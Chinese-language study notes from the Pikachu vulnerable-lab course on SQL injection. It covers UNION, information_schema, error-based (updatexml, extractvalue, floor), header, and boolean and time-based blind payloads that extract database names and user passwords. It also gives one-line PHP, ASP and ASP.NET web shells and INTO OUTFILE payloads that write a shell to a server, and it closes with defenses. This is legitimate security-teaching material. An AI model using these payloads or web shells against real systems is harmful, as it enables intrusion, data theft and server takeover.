在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到 SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数字型注入
发送重发测试,输入or 1=1,可以把所有用户输出出来。
payload:or 1=1
数据库查询语句是select username,email from member where id=1 or 1=1;
字符型注入(get)
show databases;---先选择数据库
use 数据名;-----使用数据库
select id,email from member where username='kobe';
猜想字符串
select 字段1,字段2 from 表名 where username='Kobe';
payload:Kobe' or 1=1#
搜索型注入
数据库查询语句:select * from member where username like '%k%';
payload:xx%'or 1=1#
猜测后台闭合类型,去构造闭合
XX型注入
MySQL小知识:注释符号
在SQL注入测试中,需要经常对多余的内容进行消除,以保证SQL语句语法正确,比如上面的#。使用注释符号直接对多余没人进行注释是比较有效的方法。
MySQL服务器支持3种注入
从‘#’字符从行尾。
从‘--’序列到行尾。请注意‘--’(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符等等)。
从语法与标准SQL注释语法稍有不同。
从/*序列到后面的 星号/序列。结束序列不一定在同一行中,因此改语法允许注释跨越多行。
payload:xx') or 1=1#
进行闭合测试,构造合法SQL执行
基于union的信息查询获取
union联合查询:可以通过联合查询来查询指定的数据。
用户举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!
正常查询
union查询
常用语法
在不知道有多少列的情况下,需要用order by 猜测列数---说明有2列
payload:q' union select database(),user()#
MySQL小知识部分
select version();//取得数据库版本
select database();//取得当前数据库
select user();//取得当前登录用户
information_schema
在MySQL中,自带information_schema这个表里面存放了大量的重要信息。如下:如果存在注入点的话,可以直接尝试对改数据库进行访问,从而获取更多的信息。
比如:
schemata表:提供了当前MySQL实例中所有数据库的信息。是show database的结果取之此表。
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于那个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablesname的结果取之此表。
information_schema注入
#获取表名
select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'; payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
#获取字段名
select id,email from member where username ='kobe' union select table_name,column_name from information_schema.columns where table_name='users'; payload:' union select table_name,column_name from information_schema.columns where table_name='users'#
#获取内容
select id,email from member where username='kobe' union select username,password from users; payload:kobe' union select username,password from users#
获取表名截图
基于函数报错的信息获取
常用的报错函数updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete
技巧思路
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():函数是MySQL对XML文档数据进行查询和修改的xpath函数。
extractvalue():函数也是MySQL对XML文档数据进行查询的xpath函数。
floor():MySQL中用来取整的函数。
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:updataxml(xml_document,xpathring,new_value)
第一个参数:filedname是string格式,为表中的字段名。
第二个参数:xpathring(xpath格式的字符串)
第三个参数:new_value,string格式,替换查找到的符合条件的
xpath定位必须是有效的,否则会发生错误。
基于报错:updatexml()
payload:kobe' and updatexml(1,version(),0)#--------报错并不会全部显示出来,需要使用concat进行改造
concat ()方法用于连接两个或多个数组。
payload:kobe' and updatexml(1,concat(0x7e,version()),0)# kobe' and updatexml(1,concat(0x7e,database()),0)#
中间version的值可以替换成任何需要的字符串来显示数据库内容。
#报错只能一次显示一行
payload:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
可以使用limit一次一次进行获取表名:
payload:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#====第0个位置取,取1行,依次类推
获取表名,再获取列名
payload:kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1)),0)#
#获取到列名后,在来获取数据:
payload:kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)# kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法:extractvalue(xml_document,xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
第二个参数:xpath_string(xpath格式的字符串)
xpath定位必须是有效的,否则会发生错误。
基于extractvalue()
payload:kobe' and extractvalue(0,concat(0x7e,version()))#
基于floor()
Kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
Kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
insert/update注入
基于insert下的报错:
payload:xx' or updatexml(1,concat(0x7e,database()),0) or '
detele注入
payload:1 or updatexml(1,concat(0x7e,database()),0)
在ID包中修改加入payload
什么http header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致httpheader的SQL inject漏洞。
User-Agent--payload:Firefox' or updatexml(1,concat(0x7e,database()),0)or'
Cookie-payload:ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#
盲注(base on boolean)
盲注:有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型。
基于boolean的盲注主要表现:
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只是显示两种情况(可以认为是0或1)
2.在正确的输入下,输入and 1=1/and 1=2发现都可以判断
说明and 1=1#代入了数据库执行,Kobe存在,1=1为真,所以输出信息。
substr:对数据进行取值,从第1个开始取,取第1个
select substr(database(),1,1);
把p值转换为ASCII码
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))=112;--进行比较
查看数据库字符长度是多少用到length()函数
select length(database());
select length(database())=7;
payload:kobe' and ascii(substr(database(),1,1))=112#-----其他的payload数据在database()进行替换 kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112#
盲注(based time)
基于boolean的盲注在页面上还可以看到0or1的回显的话,那么基于time的盲注完全就什么都看不到!
但有个条件,通过特定的输入,判断后台执行的时间,从而确认注入!
常用的teat payload
Kobe' and sleep(2)#
基于时间延迟:
payload:Kobe' and if((substr(database(),1,1))='a',sleep(2),null)#
SQL-inject漏洞手动测试-OS远程控制
一句话木马
一句话木马是一种短小精悍的木马客户端,隐蔽性好,且功能强大。例如:
PHP:<?php @eval($_POST['cmd']);?> ASP:<%eval request("chopper")%> ASP.NET:<%@ pagelanguage="jscript"%><%eval(request.item["chopper"],"unsafe");%>
默认是null,要改为空,修改MySQL的配置文件,重启服务
获取操作系统权限: payload:Kobe' union select "<?php @eval($_GET['cmd'])?>",2 into outfile "C:\\phpStudy\\WWW\\html\\1.php"# Kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "C:\\phpStudy\\WWW\\html\\2.php"#
漏洞之表(列)名的暴力破解
前面字符串进行查询,同时把and作为逻辑运算符,计算对应内容是不是存在,aa是猜测的部分,如果表不存在,那么and连接前后对应的逻辑就是假,如果存在,则为真,在真假的盲注里面,通过真假来判断表名,如果有报错,也可以通过报错信息来判断。
kobe' and exists(select * from aa)# kobe' and exists(select * from users)#
发送到intruder,进行爆破
手动写几个字典,进行测试,再加入响应字段做匹配
最后爆破成功
SQL注入漏洞的防范
*代码层面
1,对输入进行严格的转义和过滤(不是最好的方法)
2,使用预处理和参数化
推荐做法:使用PDO的prepare预处理(预处理+参数化)
*网络层面
1,通过WAF设备启用SQL注入策略
2,云端防护(360卫士,阿里云云盾)
#该文章学习与Pikachu漏洞平台教学视频。